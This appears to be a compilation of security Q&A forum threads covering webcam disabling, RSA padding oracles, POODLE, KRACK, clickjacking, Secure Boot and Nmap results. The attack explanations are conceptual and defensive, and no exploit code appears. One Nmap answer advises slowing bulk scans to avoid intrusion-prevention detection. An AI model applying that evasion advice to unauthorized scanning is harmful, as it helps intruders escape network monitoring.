Network monitoring doesn't show any suspicious traffic

My Questions:

Should I even concern myself about these usages?
What can I do to absolutely ensure it's not used without my consent?
What kind of information is it possible to leak through this, is it really possible to remotely enable the camera and shoot the user?

To (nearly) absolutely ensure it's not used unexpectedly, go into Device Manager and disable the device. Re-enable it when you're using it, and only then. This requires admin privileges, so if any malware could do it for you, you're already completely compromised.

A Powershell command can automate this for you. Get-PnpDevice -class Camera | Disable-PnpDevice -AsJob will disable all currently-installed devices with the "Camera" class (including any that were installed but aren't presently connected; add -Present to the first command - before the | - if you only want to affect currently-connected devices). The same command but with Enable-PnpDevice instead will re-enable the devices. The -AsJob parameter prevents the cmdlet from prompting you for confirmation. You can also use -FriendlyName *foo* instead of (or in addition to) to -class Camera to filter devices by their "friendly name" (in this example, the name would have to contain the string "foo", case insensitive); this can be handy if you want to enable or disable only a specific device, or you want to get all "devices" related to a particular piece of hardware (for example, webcams often also have microphones, which are "AudioEndpoint" class devices instead of "Camera" devices, so there will be multiple software "devices" installed for one piece of hardware).

If you want to be (considerably) less careful, just use Win10's built-in Privacy settings to control what apps can access the camera. Settings -> Privacy -> Camera, and turn on or off the apps you care about. It's mostly only for controlling modern "store" apps, though; software that uses the legacy camera interface (which will include most software that is designed to run on pre-Win10 versions of Windows) will not be controlled in that list. An app that is disabled from that list but wants to use the camera will prompt you for permission.

Of course, the main weakness of the first approach (aside from the inconvenience) is that there's no way to control what software can access the webcam while it is enabled. However, there's little you can do about that, beyond restricting Store apps from getting access (as in the second approach). At some point, you need to either trust that your device is not running malicious software, permanently disable the camera, or assume that you might be being monitored (and, of course, if there's untrustworthy software it could do a lot of things beyond access your camera).

It sounds like your AV is alerting every time any program tries to access the camera device at all, regardless of whether it's actually doing anything with it. For example, the YouTube thing is probably just YouTube checking whether, in theory, it would be able to use the "Webcam Capture" feature to record and upload a video. It's not actually requesting access to capture video; if it did, your browser would prompt for whether or not to allow access. However, it might trigger the browser to try opening the webcam device just to see if it's usable, and that may be enough to trigger the alert.


Why would some Windows executables not have a "Digital Signatures" tab? Why would some executable on a Windows 7 system not have a "Digital Signatures" tab?

(With this question I am referring to those executables that are not part of Windows OS and to which the installation package creates a shortcut in the start menu.)

Is it because:

The .exe file is actually some kind of a wrapper for e.g. Java Jar or Flash SWF files?
The manufacturer never digitally certified the .exe?
Some other reason?

I am asking because I thought that if the reason is #2 (that the binary was never certified by a CA) then I would have gotten some kind of warning message when installing the software.

Update: Below screen shot shows two executables on my machine. For one of them ("iClone.exe") Windows does not display the "Digital Signatures" tab. For the other one the tab is displayed.

Executable's are not required by Microsoft to be signed. However, drivers are.

  Starting with 64-bit versions of Windows Vista and later versions of
  Windows, driver code signing policy requires that all driver code have
  a digital signature. In addition, certain configurations of 32-bit
  versions of Windows Vista and later versions of Windows also require
  driver code to be digitally-signed in order to access next generation
  premium content that is controlled by the content protection policy.
  Windows Vista and later versions of Windows rely on digital signatures
  of these components to increase the safety and stability of the
  Microsoft Windows platform and enable new customer experiences with
  next generation premium content.

Ref: https://msdn.microsoft.com/en-us/library/windows/hardware/ff548231(v=vs.85).aspx


What is a cryptographic oracle? I came across the term "cryptographic oracle" and despite a bit of googling I was unable to come across a clear, concise definition.  What is a cryptographic oracle and what does it do?  Can anyone give an example?

An oracle is an individual who knows the personal cell phone number of a god. This enables him (or her) to obtain some information which is usually considered as out of reach of mere mortals, such as glimpses of the future. In cryptography, that's the same, except that no deity is involved: an oracle is any system which can give some extra information on a system, which otherwise would not be available.

For instance, consider asymmetric encryption with RSA. The standard I link to states how a piece of data should be encrypted with a public key. In particular, the encryption begins with a padding operation, in which the piece of data is first expanded by adding a header, so that the padded data length matches the RSA public key length. The header should begin with the two bytes 0x00 0x02, followed by at least eight random non-zero bytes, and then another 0x00. Once the data has been padded, it is time to apply the mathematical operation which is at the core of the RSA operation (modular exponentiation). Details of the padding are important for security.

The encryption result is an integer modulo the RSA modulus, a big integer which is part of the public key. For a 1024-bit RSA key, the modulus n is an integer value greater than 21023, but smaller than 21024. A properly encrypted data chunk, with RSA, yields an integer value between 1 and n-1. However, the padding implies some structure, as shown above. The decrypting party MUST find, upon decryption, a properly formed PKCS#1 header, beginning with the 0x00 0x02 bytes, followed by at least eight non-zero bytes, and there must be a 0x00 which marks the end of the header. Therefore, not all integers between 1 and n-1 are valid RSA-encrypted message (less than 1 every 65000 such integers would yield a proper padding upon decryption).

Knowing whether a given integer modulo n would yield, upon decryption, a valid padding structure, is supposed to be infeasible for whoever does not know the private key. The private key owner (the deity) obtains that information, and much more: if the decryption works, the private key owner actually gets the message, which is the point of decryption. Assume that there is an entity, somewhere, who can tell you whether a given integer modulo n is a validly encrypted piece of data with RSA; that entity would not give you the full decryption result, it would just tell you whether decryption would work or not. That's a one-bit information, a reduced glimpse of what the deity would obtain. The entity is your oracle: it returns parts of the information what is normally available only to the private key owner.

It turns out that, given access to such an oracle, it is possible to rebuild the private key, by sending specially crafted integers modulo n (it takes a million or so of such values, and quite a bit of mathematics, but it can be done). It also turns out that most SSL/TLS implementation of that time (that was in 1999) were involuntarily acting as oracles: if you sent, as a client, an invalidly RSA-encrypted ClientKeyExchange message, the server was responding with a specific error message ("duh, your ClientKeyExchange message stinks"), whereas if decryption worked, the server was keeping on with the protocol, using whatever value it decrypted (usually unknown to the client if the client sent a random value, so the protocol failed later on, but the client could see the difference between a valid and an invalid padding). Therefore, with such an implementation, an attacker could (after a million or so of failed connections) rebuild the server private key, which is usually considered to be a bad thing.

That's what oracles are: a mathematical description of a data leak, to be used in security proofs. In the case of RSA, this demonstrates that knowing whether a value has a proper padding or not is somehow equivalent to learning the private key (if you know the private key you can attempt the decryption and see the padding for yourself; the Bleichenbacher attack shows that it also works the other way round).


Does mutual SSL authentication increases protection against a Poodle attack? Recently we found our self pondering whether a certificate based mutual SSL authentication protects against a Poodle attack over SSLv3?

We’re stuck in a situation where a client-application only supports SSLv3 for getting our SOAP-based webservices.  Obviously we want to disable SSLv3 at server side, but the client-application won’t be able to connect.

So hence, does the use of mutual SSL authentication provide any mitigation in preventing a Poodle attack ?

Strictly speaking, no, mutual authentication does not protect against POODLE. Some details may matter, though.

The core of the POODLE attack is that there is a way, with SSL 3.0, to alter some records so that the receiving end will not notice the substitution with probability 1/256. With this protocol misfeature, attackers can "try" decryption guesses on a single byte of encrypted data, and will learn that byte with probability 1/256. On failure, though, the receiving end duly notices the problem, and the connection is broken. The important point here is that none of this is impacted in any way by the handshake details; certificate-based client authentication does not make that protocol issue disappear.

The classic, Web-based description of POODLE then applies that issue in a Web context, i.e.:

The target is an HTTP cookie.
The attacker, through some evil Javascript or some other URL injection method, makes the victim repeatedly issue requests to some server, with the target cookie in all of them.
The attacker can not only trigger the requests, but also traps any error, thus broken connections don't show up on the unwary victim's screen.

In that context, POODLE recovers the target cookie with an average of 128 connections per guessed byte (that number can be somewhat lowered by assuming that cookie bytes are printable ASCII characters).

In your case, the client application is probably not a Web browser, and, as such, it may be difficult for attackers to trigger repeated connections. Moreover, if you do mutual authentication with certificates then you might not have big fat session cookies, thus removing a juicy target. Nevertheless, attackers can still try their luck and guess some bytes, if they accept to break most connections on which they attempt a guess. Whether attackers can pull that off discreetly really depends on how the application behaves when connections get broken. In particular, if HTTP "keep-alive" is performed (as is customary for SOAP-over-HTTP-over-SSL), then the client expects some requests to fail (because the server lost patience and closed the connection) and to restart them silently, so chances are that attackers can make their guesses silently.

It shall be noted that POODLE is about a confidentiality breach, not an integrity breach. If you use SSL only so that data gets authenticated, but without sending anything actually secret through the SSL tunnel, then POODLE ceases to be a concern.

Summary: what provides mitigation for POODLE is not the client certificate; what may provide mitigation is that the client is not a Web browser. However, the protocol vulnerability is still there and may still be exploitable, depending on the details of your application protocol.

You should really think about updating these client applications. By maintaining SSL 3.0 active, you are looking for trouble.


Is a pre-shared secret enough for encryption? Suppose:

A and B are initially configured to possess the same key.

  -- the key is only known by the pair
  -- no key needs to be public

A has an algorithm, a, that takes a message(plain text), m, mutates it with a key, k, producing an encrypted message(cipher text), c.
B possesses the same key, k, that lets its algorithm, b, take c and k to reproduce m.
a and b are available nowadays; plug in whatever algorithm you like best.
Then A and B are set to be immutable.
Then A and B are pulled apart and must communicate over a vulnerable medium.

A only sends messages to B.
B only listens and gives nothing more than ACKs for any messages it receives.

I know B can get malicious input, but won't the malicious input be decrypted into garbage?
Can A be spoofed if the key and algorithm were initially set before they were separated?
The key and algorithm is pre-established, so nothing revealing is sent across the medium, right?
If A and B are immutable, then nothing internally can be changed/compromised.

The only breach that I can see is if A or B are taken whole, and the key is taken along with one of the algorithms.

Is there any other way this method is vulnerable?

ps. I didn't specify a particular algorithm since the concept seemed applicable enough to any algorithm to at least provide some sort of additional confidentiality.

Yes!

Cyphers can take all kinds of forms. By definition a secret is all that is needed.

Doesn't mean it will be secure enough...

http://www.brighthub.com/computing/enterprise-security/articles/65254.aspx

EDIT:
If you're proposing to actually implement something like that in production, I would repeat the seasoned advice in other posts. Use already proven algorithms and libraries.
That usually means that, in your scenario, A encrypts with B public key, and B decrypts with B private key.

Also, consider once A or B falls, it's complete disaster. Attackers can fake any point in the network, create any message or read any messages that ever passed through the network or ever will.


Logging error details in a (desktop) client application I have a debate about how to properly log errors for the client part (Java Swing) of a client-server application from a security point of view.

I think it is common sense that exposing error details like exceptions and stacktraces to 'untrusted' users is bad practice and at least can weaken your application security through information disclosure (internal structure, dependencies, etc.).

The solution on the server-side can be solved by ensuring to not expose any error details to your users and storing the details securely on the server. This way the error details can be looked up later
by dedicated people during an investigation when needed.

But how can you accomplish to store the error details on the client without exposing it to the user?

A few things came to my mind but each is flawed at certain points.

Sending error details to a dedicated server where they are stored for later lookup.

How to send error details for problems in the communication layer (no external communication is possible at all)?
Your log server is not accessible from the client network (firewall rules, proxies, etc.).

Asymmetric encrypt error details

Potential performance impact during logging.
Error details must be decrypted during the error investigation, which makes the process more cumbersome.

On the other hand, you can argument that exposing error details from a client application is not as critical as for error details from a server application.

The users already have access to the client binary that can be used gather internal information (reverse-engineering).
Most communication details can be gathered by sniffing the traffic between client and server.
Internal knowledge about a client application is (in most cases) not as valuable as about the server, because the client acts mainly as an UI and the essential business logic resides on the server.

What are the 'best practices' or the best compromises to store error details on the client from a security point of view? Or to put it differently, is it worth to hide error details (exceptions, stacktraces, etc.) for a client application?

Let's try looking at this using threat modeling techniques.
What are we trying to protect?
Client logs for later analysis by support.
What is our risk?
If a client-side handler breaks and is stored on the client side, what could this lead to? Are we looking at having a local command execution, log injection, etc.? It is essential to understand what the application provides, and what could be compromised.
Yes client-side is always dangerous, that doesn't mean it can't be protected or understood.
What's our attacker like?

Basic user: Scrapes the history of the application, tries to search for the files on the system, mainly conducts basic lookup and recon.

Risks: tries to understand and haves fun with what breaks the UI controls and how they can change the output. If the logs contain secrets disclosed, they'll be able to grab them and abuse the system (or blackmail the org).
Mitigations: employing symmetrical encryption protects the logs as the user don't have enough knowledge to reverse engineer the application and grab the key. If the logs sanitize the input and don't output secrets, the risks are almost non-existent.

Advanced user: on top of the Basic User, this user is capable to have a stronger understanding of what is breaking, and tries to fuzz the service in order to force an unhandled behavior (which could break it). This user is capable to reverse engineer and extract strings from the application if stored.

Risks: by identifying how the application behaves, this user is capable to study the client application, identifying its weaknesses, and possibly find issues in it (DoS, local execution, etc.). This user will in most cases report the vulnerabilities or issues to the company behind the application.
Mitigations: Create a mapping of the errors with codes which are only known by support. The user will be able to know the exception triggered, but not the details of how it broke exactly and what's happening. Becomes a blind attack (harder to achieve). As u mentioned, asymmetrical encryption can be used. What you can do to speed things up is the use of a nonce with the key in order to create ephemeral sessions, which requires from the user to instantly break the logs and look them up, otherwise only support can get it.

Malicious user: similar to the advanced user, with clear intent to cause damage.

Risks: the user builds exploits to try and own other users' systems, destroy the company reputation, etc.
Mitigations: in this case, if the application is actually exploitable, the user will already have identified what's happening, and encryption is almost meaningless at this stage. The logs would only confirm the analysis of the attacker. Since this is specifically related to logs, asymmetrical encryption should be used, with possible triggers that call back home if a certain activity is launched or done (system takes too long to conduct a task, a system command is executed, network exfiltration, etc.). This allows for proactive controls which is the best mechanism to protect your user-base.

In all cases, the network attacks are not catered for. The nonce is a public entity, thus always retrievable. Otherwise, no specific secrets were communicated through the channels. I mainly focused on application behavior. There are no major network attacks related to the above approaches.


Different results with NMAP: filtered + tcpwrapped What might the reason be NMAP is giving a different result when scanning:

bulk domains?
service detection enabled?

First question

When scanning bulk, where domain X is part of, this is the result I get:

PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   filtered     smtp
80/tcp   open     http

When scanning the same domain X individually:

PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   open     smtp
80/tcp   open     http

So why does it show filtered as State when scanning bulk - and when scanning individually, it shows the state as open?

Second question:

When I enable service detection (-sV), this is what I get of domain X scanning individually:

PORT     STATE    SERVICE      VERSION
21/tcp   open     tcpwrapped
22/tcp   open     tcpwrapped
25/tcp   open     smtp         Postfix smtpd
80/tcp   open     http         Apache httpd

Why is the service of port 21 and 22 of the same domain out of the sudden now tcpwrapped?

The same behavior exists when scanning yet again bulk, with service detection.

This makes on sense!

Has anyone got an idea how I can scan bulk, without getting a "tcpwrapped" or a "filtered" as result?

Thank you!

Your "bulk" scan of many IPs has probably triggered a firewall or IPS to drop your probes instead of letting them through. The pattern of "try to connect to lots of different IPs on the same port" is easy to detect. This is most likely the cause of the filtered port state. Slow down your scan until you do not cross the threshold that the IPS considers as "lots."

In the first scan, Nmap did not try to probe the services, but only to determine the state of the ports. Because it did not try to probe the service, it lists the commonly-used service name for that port number, found by looking it up in the nmap-services file. This is the source of the "ftp" and "ssh" labels.

In the second scan, the -sV option tells Nmap to go ahead and try to get a response from the service in order to classify it. It may be that someone is using port 21 to run a web server and not an FTP server. When it tried to do this, the target immediately closed the connection. This behavior is commonly evidence of a program called TCP Wrapper, which hangs up connections like this if the remote IP (yours) is not on an approved list. Other network devices may cause similar results, but the tcpwrapped string will still be shown. Nmap no longer uses "ftp" or "ssh" for these ports because a simple FTP or SSH server would not behave this way.

I recommend slowing down your scan a bit to try to avoid detection, and adding the -v --reason options to see the reason and received TTL field value for each port. Comparing these can give an idea of where the response (or no response) is coming from--the target or something between you and the target.


How many bits of entropy does an identifier contain? According to https://www.owasp.org/index.php/Insufficient_Session-ID_Length:

  Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier.

How does one determine how many bits of entropy a particular implementation actually contains? For example, if I execute new BigInteger(130, new SecureRandom() under Java do I actually end up with 130 bits of entropy?

The entropy in a session identifier is the entropy of the underlying number source; a PRNG might yield good random words of 32 bits, each of them having 32 bits of entropy (however, as @forrest pointed out, entropy doesn't "carry" - it will grow until it reaches the size of the PRNG's internal state, and theoretically that state could be back-calculated given sufficient output. From then on, the PRNG output is predictable, with an entropy of zero. A "truly random" generator has an internal state of infinite size).

This means that each bit is more or less completely unpredictable (the 'more or less' stems from the PRNG being a (P)seudo random number generator).

When this 32 bit number is encoded in a string identifier, usually by hex encoding in ascii or utf8, it becomes something like "1A9F72EF". Now these are eight bytes, so 64 bits, yet they still contain the same entropy as before, which was 32 bits.

If we had used base64 encoding, our identifier would have had 6 bits of entropy for each character, i.e. 8 bits; so the entropy would be 3/4ths of the length in bits of the identifier (or the identifier would be 8/6ths the length of its binary representation).

That's where OWASP's "1/2" came from.

Now, the entropy of a source cannot be determined by observing a single instance; usually you need to know with a certainty how the source works. A random source is by definition pure entropy. A constant source (always returns 42) has an entropy of zero even when "42" is represented by six or eight bits.

Using a very rough and untrustworthy approximation, the entropy is twice the number of bits that change on average from one representation to the next, provided that the changes are random and nonrepeating. A sequence of [ 00FF, FF00, 00FF, FF00 ... ] would have all its bits changing, but there's only two symbols in the sequence, so one bit is sufficient to describe it fully; the internal state of the generator is one bit wide.

The big problem is determining whether a source is "truly" (pseudo-)random.

If you can trust SecureRandom (you probably can!), then yes, BigInteger(130, new SecureRandom()) will give you a number with 130 bits of entropy. You can encode it as a 260-bit hex sequence, or a 176-bit Base64 sequence.

Only be sure that the entropy pool feeding SecureRandom is refreshed frequently enough with some true randomness, or your identifier might become predictable. An (in)famous case is the Mersenne Twister, where having some 624 sequential values out of the generator allows recostructing the 19967 bits of its internal state via linear algebra, and thence predicting with certainty all its future values.


Password manager: safer on laptop or on smartphone? I want to recommend a password manager to my non-tech friends and family and help them set it up and use it. One of the decisions I have to make is whether I recommend one that works on laptops or one that works on smartphones.

Smartphones:

Have much better application isolation. This is by far the biggest plus.
Are carried around everywhere, eliminating the need to even consider an online password manager since people always have access to their password manager already.
Are a pain to disassemble. Where cold boot attacks against desktops and laptops are extremely rare, I'd consider them even rarer against smartphones.
Are a pain to type on, limiting how long a master password can be. On the other hand, most non-techies probably don't type very fast on computers either.
Not a single smartphone password manager allows generating passphrases, which are much easier to type over into a computer than a random password, while being equally secure. (5 random words (43k-words dictionary) contain 75 bits of entropy, 12 characters (alphanumeric, mixed-case) contain 70 bits).

Laptops:

Might be compromised by clicking the wrong thing when browsing. I feel like smartphones don't have this issue as much, and even if someone installs a bad app from the store, it should be isolated.
Allow for copying the password rather than typing it over from a smartphone, allowing for stronger passwords. (I expect that 90% of the time, people will log into an account on their laptop, not on their smartphone.)
Have more password managers available. For smartphones, there is exactly one proper open source password manager whereas for laptops I know several.

I conclude that smartphones have a slight advantage, but I have to find a solution to generate passphrases, ideally by using a custom keyboard so they don't have to be passed through the clipboard.

Did I miss any (important) considerations?

I don't understand why you don't want a password manager that works on both? Your non-tech friends that don't use a password manager yet are too limited by your requirements. You seem to be running in paranoid mode. Your friends want something that is convenient.

If you can get them to move to Lastpass, that will be a huge improvement over their current security.

It can be shared on phone and laptop for free now.
It has 2FA, which is probably already much too complicated for many, and very inconvenient, but it does have this option. If setup properly, it prevents logins from unknown computers.
Lastpass has its own 2FA app, making it even easier.
If someone logs in from another location, you get an email about it.
Login can be limited to certain countries.

NB: I don't mean to limit this to Lastpass. Other password managers like 1Password probably have the same bonus. I don't use them, so don't know. Keepass is an offline option, but sharing the database in Dropbox or Google Drive makes it kind of online, but still more difficult to use.

Some questions:

What is your objection to Lastpass or similar solutions? I don't say that you have to use it. It's for your friends, who need to step up their security to use something instead of nothing. Lastpass is a lot more secure than nothing, in my opinion.
Why you don't mention the password managers you consider? It would make this discussion a lot more meaningful!
What is it with choosing between laptop and phone? So I can't use passwords on the phone that I use on the laptop? If your friends log on to Facebook, they need them on both the phone and laptop!
Non-techies can type at incredible speeds! Further down your question you talk about passwords that consist of normal words. Most people can type normal words at normal speeds.

I'm afraid that your solution will turn out to be dumped on the first occasion where inconvenience turns its ugly head. Be wise and choose the compromise!


I have .Kismet files in my root directory. Where could they come from and are they dangerous? I use Parrot OS security.
When i was listing the contents in my root dir i noticed some weird file names that end with .Kismet.
I know that kismet is a network intrusion detection software which is also used for wifi sniffing etc... But i never installed or used it.
Here are the suspicious files:

Kismet-20200404-18-30-16-1.kismet
Kismet-20200408-19-52-16-1.kismet
Kismet-20200414-14-48-01-1.kismet
Kismet-20200405-17-25-29-1.kismet
Kismet-20200408-20-00-22-1.kismet
Kismet-20200415-19-36-28-1.kismet
Kismet-20200410-16-59-20-1.kismet
Kismet-20200417-13-32-41-1.kismet-journal

As you can see they re named with date and time. When i try to open them, most of it is encrypted and unreadable. Here is some of the readable stuff:

CREATE TABLE messages (ts_sec INT, lat REAL, lon REAL, msgtype TEXT, message TEXT )��wtablealertsalerts CREATE TABLE alerts (ts_sec INT, ts_usec INT,

I never installed kismet on my machine and I think it is not in the parrot default install included. So does anyone know where these files could come from and whether or not they 're dangerous?

ParrotOS being a security distro includes this IDS as part of the package parrot-tools. Learn more about how the logging can be configured here.

Those log files are a type of sqlite file. They are not encrypted but binary files. You can access their content using sqlite, an sqlite browser, or Kismet itself by using kismetdb_statistics.

Please refer to ParrotOS documentation and Kismet documentation for more information about this.


Why is Android/Linux able to communicate with the wireless access point after the encryption key is set to zero? As I understand it, when exploited against Linux and Android the KRACK attack results in the encryption key for the session being zeroed out on the device, so an eavesdropper can easily decrypt the messages. On other platforms, this doesn't happen, so the encryption key can't be determined.

For encryption to work, both parties must have agreed on the same key, but the attack has changed the encryption key on the client (to all zero) but not the AP (which continues to use the originally negotiated key). Surely this means that the two parties won't be able to understand each other, so there would be 100% packet loss resulting in the connection being dropped fairly quickly, before much (if any) sensitive data can be transmitted.

KRACK is a man-in-the-middle attack. That is: the access point is not disturbed, only the station, or the computer connecting to it. For instance, a good reference is [1].

It seems that KRACK was not faithfully presented, even in the specialized media.It is a very clever attack, and some misconceptions have been repeatedly presented: for instance, computers running Microsoft Windows are not safe from it, as it is a failure in the WPA2 specification, not a failure in its Linux kernel implementation.It is true that computers with a Linux kernel were weaker under this attack, but no computer was really safe.

[1]: Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2
  https://papers.mathyvanhoef.com/ccs2017.pdf


Clickjacking on a site without user accounts My understanding of clickjacking attacks is that an attacker could embed my site in his. The attacker then uses clever styling to trick the user into performing actions on my site, that they did not intend to perform.
Suppose my site does not have the concept of a user account where someone could perform more actions, than one could without being logged in.
Then is a clickjacking attack still applicable to my site?

More specifically, if I allow users to purchase things on my site but require them to enter their personal and CC info each time because they don't have an "account" with the site can I allow my site to be embedded in iFrames of other sites?

Suppose my site does not have the concept of a user account...
  Then is a clickjacking attack still applicable to my site?

Even though there are no accounts, if there is a concept of user sessions, then Clickjacking could possibly apply. It all depends on what is being stored at session level.

The best way to think of this is that if your site remembers state at session level, and you are not setting X-Frame-Options to prevent framing, then an attacker could possibly trick a user into submitting this state information in order to execute an action.

The other requirement would be a clickable item somewhere on your site, usually a button, that doesn't require any input on the page except for the click.

Clickjacking is sort of a "way to circumvent" CSRF protection on pages where no user input is required to submit them.

An example:

User adds a "widget" to their basket on your site.
User goes to checkout and enters their personal information and card details.
This information is stored server side in the user session, identified via a random token which is stored in a cookie.
The user gets redirected to a confirmation page so they can check their details before sending the order: A GET request to example.com/confirm.php shows their order and they can click a submit button to to complete their order which submits an empty form (except for a CSRF token) resulting in a POST request to complete.php.

Now an attacker could frame the confirm.php page and display another button over the top so when the user clicks the button they submit their order to your site. Maybe this could be combined with a CSRF vulnerability elsewhere for adding items to a user's basket, and could be executed at a point where it is known that session is populated (maybe the attacker has gained control of one of the advertiser's sites that are displayed after the user's first checkout and this vulnerability allows them to do it again with an item of the attacker's choosing).

So yes, your site could be vulnerable and it is down to the specific implementation details and the business model of your site to see whether it poses a real threat or not.


How secure is Microsoft-mandated UEFI Secure Boot, really? I've read a few articles recently about the UEFI Secure Boot feature, and how Microsoft will be requiring it to be enabled by default on all Windows 8 certified x86 systems.  In theory, it sounds like a good idea - the system will check the boot loader for integrity before every boot.  However, it also provides some complications.

The primary problem arises when someone wants to run a non-Microsoft OS on Windows 8 certified x86 hardware.  Since the hardware will have Secure Boot enabled, and will likely only have Microsoft's key installed by default, the user has to work around the problem in one of a several ways:

Disable Secure Boot - This is, of course, the least ideal solution.  However, for some, it may be the only available option.
Install a custom certificate - An option for the technically inclined, but not likely one that normal end-users will easily consider.
Choose an OS with a boot loader signed by Microsoft - This is probably the most end-user friendly, though it may limit your options.  Fedora has announced that they will be among these options.  This requires no modifications to the UEFI or mucking about with custom certificates - you just install the Microsoft-signed OS and go.
Get your boot loader signed by Microsoft - Perhaps the least preferable option, since it has an actual cost to it ($99 one-time fee).  However, it's useful if you're making your own distro and want to share it with friends.

Those last two options are really my point of concern, though.  If it only costs $99, one-time, to have the privilege of Microsoft signing all your boot loaders, is it really that big of a barrier to malware writers who stand to make millions off of their Microsoft-signed rootkits?

Is there something I'm missing here, or could this Secure Boot requirement (and all that's been built up to support it) really lead to false sense of security enhancement?  What sort of complications could arise if the system is in fact abused in this way?  Will we have to update our UEFIs every time a new CRL gets published?

Matthew Garrett has some nice blog posts on UEFI Secure Boot. Concerning your question he writes:

  Anyone can pay $99 and get their binaries signed. So why won't malware authors just do that? For starters, you'll need to provide some form of plausible ID for Verisign to authenticate you and hand over access. So, sure, you provide some sort of fake ID. That's the kind of thing that tends to irritate local authorities - not only are you talking about breaking into a bunch of computers, you're talking about committing the sort of crime that results in genuinely bad things happening to you if you get caught. And secondly, the only way you get access to the system is using some physical smartcards that Verisign send you. So you've also had to hand over an actual physical address, and even if you've used some sort of redirection service that's still going to make it easier to track you down. You're taking some fairly significant real-world risks.

Storing the access credentials for your key on a smartcard was the bit of new information that convinced me that UEFI Secure Boot is not only security theater. As Matthew said it makes you more traceable. It also significantly reduces the probability of theft, which would have been the smart way to get your rogue signing key in my opinion.

It is still quite probable that signed malware will pop up. But large scale attacks will be easier to mitigate, first by revoking the signing key and second by tracing the signer via his or her physical address.

The system is not perfect (and falls quite short compared to what would have been achievable) but it will make writing bootkits more difficult. And in the same way that ASLR and the NX bit make us a bit more safe against malware even though buffer overflow attacks are still viable, secure boot is not a completely waste of time.

Concerning the CRL I have heard there will be a standard UEFI interface for the OS to push new revocation lists into the bios. That will make automatic updates very convenient.


What should I think about users with huge numbers of successful login attempts in a short period? What to think about a user making thousands of successful login attempts over a short period? What are the dangers of such a behavior and how to protect against them?

A couple of examples of dangers that jump in my mind:

it might be a DDOS attempt, trying to do a large number of costly operations in a short period of time and creating a large quantity of useless logs.
each session token obtained ( in the case where the login generates JWT tokens ) may give information about the secret used to compute the signature, allowing maybe the hacker to create JWT tokens for any account/role.

On the security side, you can protect yourself with:

Rate limiting tools like fail2ban to block DDoS and other automated noise
Recaptcha to block brute force attempts
A stateful firewall, intrusion detection, or intrusion prevent appliance to block known attack methods

(This site forbids product recommendations, but there are packaged/supported paid products for each of those categories as well as open source options depending on your preferences.)

We can't tell you what to think beyond those basics because this type of question is dependent on data that you may not want to disclose on a public forum. Specifically:

A successful login means the client has valid credentials. You'll have to investigate the behavior or contact the user to determine whether the activity was legitimate. Investigation would include a careful review of the relevant logs. You would need to reset/revoke credentials if the activity is unauthorized.
Automated processes can easily perform hundreds, thousands, or millions of unique actions per second. This could be the result of: (a) an unauthorized tool, (b) an authorized tool working properly, (c) an authorized tool that is misbehaving for some reason; we have no way to know or investigate, or (d) an authorized tool that is being misused. You would need to whitelist the behavior, reconfigure the tool, revoke access, or block access depending on what is happening.
Do the authentication attempts look like attacks on JWT or not? You would need to block a bad actor. Preferably, an IPS would handle it automatically, but you could add rules to fail2ban or a firewall as needed.

If you are a security analyst, you should have the tools to investigate this; if not, then the organization has a deficit that management needs to be aware of. If you are not a security analyst and your company does not have one, there are security consultants that can help investigate.


Is my method of online banking from work secure? Chromebook + 4G + VPN I need to do various online banking activities from work, about once a month.  I have a Chromebook that I use exclusively for this task. I don't navigate to any other websites on it, or install any other apps beyond chrome on it.

I have a smart phone with a large data-plan that allows me to create a wifi hot-spot, which I plan to connect to.  It uses 4G LTE(in Canada) with WPSA2 PSK security and a password I choose.

My phone also has a VPN feature provided by my subscription to BitDefender, which I plan to enable while I do the banking.

I am not an expert in this area, so I was hoping for some feedback on this setup.

Is this a secure way to do banking from a public area?  Any flaws?
Is the 4G hotspot that my phone will create secure? Or can other
users of 4G see my device on the network and hack it or eavesdrop on
data that it sends and receives?
Will my Bit Defender VPN add any extra security?

Is this a secure way to do banking from a public area?

Yes. Possibly overkill for most people, to be honest.

  Any flaws?

Oh, probably. Nothing jumps out as obviously bad, but there is always room for improvement. For instance: you didn't mention any form of 2FA. Make sure if your bank offers it, that you take advantage. Also, if you are able to tether via USB or even Bluetooth instead of a hotspot, it might be slightly stronger. But it's probably not a major problem now anyway.

  Is the 4G hotspot that my phone will create secure?

Assuming that you use WPA2 for the hotspot, and set a good (preferably random) password, you should be fine. It will be difficult for anyone else to crack the encryption on the connection in a reasonable time even if they capture all the traffic, provided the password is strong enough.

  Or can other users of 4G see my device on the network and hack it or eavesdrop on data that it sends and receives?

Yes, 4G security is not as strong as we would prefer. 4G is vulnerable to modification of your network traffic or snooping on the domains visited, although I get the impression the actual data exchanged with a server (not under the attackers control) remains confidential. Your bank should be using https which will protect from malicious modification of the data exchanged with the server, and prevent you contecting to a spoofed bank server, however it will not protect from an attacker determining you are visiting the bank's website.

  Will my Bit Defender VPN add any extra security?

Possibly. If someone manages to crack the WPA (or you use a crappy password for it), or sets up a malicious 4G base station, then the VPN will add another layer of encryption which they will not be able to crack.

However VPN only encrypts the connection between your computer and the VPN endpoint. The VPN endpoint then connects you to your bank, over the plain Internet, without any further protection. So your connection to your bank should be over https anyway. This is probably all the protection you need as it will protect the entire connection end to end. Someone snooping on your wifi hotspot or 4G connection would be stopped by HTTPS already, even without a VPN.

What a VPN can add, is making sure nobody can attempt a "man in the middle" attack if your bank's https is poorly configured, and it can also hide the fact that you're communicating with the bank at all from anybody listening on your wifi or 4G. Note a VPN cannot hide your connection for people on the wider Internet,:just the local network (wifi in your case, or an attacker on your phone), from someone attacking you nearby over 4G, and from your phone carrier itself.


How to prepare for a career in Pen-Testing I am currently a sophmore in Penn State's SRA:ICS program (Cyber Security) and IST:Dev program. My goal is that when I graduate I can become a Pen-Tester. I'm looking for advice on how to learn how to be a better pen-tester and security professional.

I have some programming experience but wouldn't say I am overly comfortable in any. I listen to Security Now! every week and make sure I understand what they are discussing. I am extremely comfortable with teaching myself new skills, I just do not know what I should be working on.

My question is this: Can any pentesters recommend a solid action plan on what technologies/languages I should be trying to learn and how I can apply it? I apologize if this question is overly vague. Thank you for your time and consideration.

